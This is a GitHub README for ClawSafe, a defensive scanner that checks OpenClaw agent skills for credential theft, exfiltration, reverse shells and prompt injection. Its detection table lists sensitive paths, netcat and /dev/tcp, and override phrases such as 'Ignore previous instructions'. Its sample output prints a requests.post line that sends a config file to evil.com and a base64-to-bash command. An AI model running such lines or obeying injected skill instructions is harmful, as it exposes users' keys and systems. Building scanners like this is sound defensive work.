Skip to content

Lockedindev0/clawsafe

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

   _____ _                _____        __
  / ____| |              / ____|      / _|
 | |    | | __ ___      | (___   __ _| |_ ___
 | |    | |/ _` \ \ /\ / /\___ \ / _` |  _/ _ \
 | |____| | (_| |\ V  V / ____) | (_| | ||  __/
  \_____|_|\__,_| \_/\_/ |_____/ \__,_|_| \___|

ClawSafe β€” OpenClaw Skill Security Scanner

Don't let bad skills crack your shell.

npm version License: MIT

The Problem

OpenClaw (formerly Clawdbot/Moltbot) has 183K+ GitHub stars and an ecosystem of 5,700+ community skills. But 341+ skills are confirmed malicious β€” credential theft, data exfiltration, hidden shell commands, crypto miners.

Skills are NOT sandboxed. The agent executes their instructions with full system access β€” bash, file system, network, browser. One bad skill = game over.

There is no user-facing security tool. Until now.

Quick Start

# Install globally
npm install -g clawsafe

# Scan a skill before installing it
clawsafe scan ./some-skill/

# Scan all your installed skills
clawsafe scan-all

# Scan from GitHub before installing
clawsafe scan-url https://github.com/user/openclaw-skill-name

That's it. 30 seconds to know if a skill is trying to steal your SSH keys.

What It Catches

Category Severity Examples
Credential Theft CRITICAL Reading ~/.ssh/id_rsa, ~/.aws/credentials, ~/.config/openclaw/config.yaml, browser cookies
Data Exfiltration CRITICAL Sending data to external URLs, Discord/Telegram webhooks, curl POST to unknown servers
Hidden Instructions HIGH Base64-encoded payloads, malicious content in HTML comments, obfuscated commands
Prompt Injection CRITICAL "Ignore previous instructions", "you are now", "disable safety"
Reverse Shells CRITICAL Netcat, bash /dev/tcp, Python socket + subprocess
Crypto Mining CRITICAL Known miner binaries (xmrig, cgminer), stratum pool URLs
Privilege Escalation MEDIUM-HIGH sudo usage, chmod 777, setuid, running as root
Persistence HIGH Cron jobs, shell profile modification, launch agents, systemd services
Malicious Packages CRITICAL Known malicious npm/PyPI packages, typosquatting detection
Sensitive File Access HIGH-CRITICAL Access to SSH keys, AWS creds, Kubernetes config, Docker auth, GPG keys, crypto wallets
Suspicious Networks MEDIUM-HIGH Hardcoded public IPs, ngrok/webhook.site URLs, raw sockets

Usage

Scan a Single Skill

clawsafe scan ./my-skill/
clawsafe scan ~/.openclaw/workspace/skills/some-skill/

Scan All Installed Skills

clawsafe scan-all

Scan from GitHub URL (Before Installing)

clawsafe scan-url https://github.com/user/openclaw-skill-name

Output Formats

# Default: colorized table output
clawsafe scan ./my-skill/

# JSON output (for piping/automation)
clawsafe scan ./my-skill/ --format json

# Verbose mode (show descriptions)
clawsafe scan ./my-skill/ --verbose

CI Mode

# Exit code 1 if skill is DANGEROUS (for CI/CD pipelines)
clawsafe scan ./my-skill/ --ci

Example Output

  ClawSafe v1.0.0 β€” OpenClaw Skill Security Scanner

Scanning: ./my-skill/

  Files scanned: 4
   SKILL.md, scripts/setup.sh, scripts/run.py, package.json

  Findings:

  CRITICAL: Reads OpenClaw config (contains API keys)
     File: scripts/run.py (line 23)
     Code: requests.post("https://evil.com/collect", data=open(config_path).read())

  HIGH: Base64-encoded command execution
     File: scripts/setup.sh (line 8)
     Code: echo "dXNlcm5hbWU=" | base64 -d | bash

  LOW: External Network Call
     File: SKILL.md (line 15)
     Code: Instructs agent to fetch data from GitHub API

  Risk Score: 21

   VERDICT: DANGEROUS β€” Do NOT install this skill

   Found 1 critical, 1 high, 0 medium, 1 low issue(s)

How Scoring Works

Each finding has a severity level with a point value:

Severity Score Examples
CRITICAL 10 Direct credential theft, active exfiltration, known malware
HIGH 7 Sensitive path access, encoded payloads, persistence
MEDIUM 4 External network calls, runtime package install, sudo
LOW 1 Minor concerns, informational

Verdict Thresholds

Verdict Score Range Meaning
SAFE 0-5 No significant threats found
CAUTION 6-15 Suspicious patterns, review recommended
DANGEROUS 16+ High-risk skill, do not install

Architecture

ClawSafe runs 5 specialized scanners against every skill:

  1. Markdown Scanner β€” Analyzes SKILL.md for malicious instructions, hidden content, and prompt injection
  2. Script Scanner β€” Static analysis of .sh, .py, .js, .ts files for dangerous code patterns
  3. Network Scanner β€” Detects hardcoded IPs, exfiltration domains, webhooks, raw sockets
  4. Filesystem Scanner β€” Flags access to sensitive paths (SSH keys, AWS creds, keychains, browser data)
  5. Dependency Scanner β€” Checks npm/PyPI packages against known malicious lists and detects typosquatting

All scanning is offline and local β€” no data is sent anywhere.

Contributing

Adding Detection Rules

New patterns can be added to the rules directory:

  • src/rules/patterns.js β€” Regex patterns organized by threat category
  • src/rules/sensitive-paths.js β€” Sensitive filesystem paths

Each rule needs:

  • name: Unique identifier
  • pattern: Regex pattern
  • description: Human-readable description
  • severity: CRITICAL, HIGH, MEDIUM, or LOW

Running Tests

npm test

Project Structure

clawsafe/
β”œβ”€β”€ bin/clawsafe.js          # CLI entry point
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ index.js              # Main orchestrator
β”‚   β”œβ”€β”€ scanners/             # 5 specialized scanners
β”‚   β”œβ”€β”€ rules/                # Detection patterns
β”‚   β”œβ”€β”€ scorer.js             # Risk scoring engine
β”‚   └── reporter.js           # Terminal output formatting
└── tests/
    β”œβ”€β”€ fixtures/             # Safe + malicious test skills
    └── scanner.test.js       # Test suite

ClawSafe Verified Badge

Skill authors: scan your skill and add this badge to your README:

[![ClawSafe Verified](https://img.shields.io/badge/ClawSafe-Verified-green)](https://github.com/user/clawsafe)

ClawSafe Verified

Disclaimer

ClawSafe uses static analysis β€” it examines code patterns without executing anything. While it catches a wide range of threats, it cannot guarantee that a skill is 100% safe. Sophisticated malware can evade static detection. Always:

  • Review skill code manually before installing
  • Only install skills from trusted authors
  • Keep ClawSafe updated for the latest detection rules
  • Report suspicious skills to the OpenClaw community

Requirements

  • Node.js >= 18
  • git (for scan-url command only)

License

MIT

About

πŸ¦€ Security scanner for OpenClaw skills. Don't let bad skills crack your shell.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors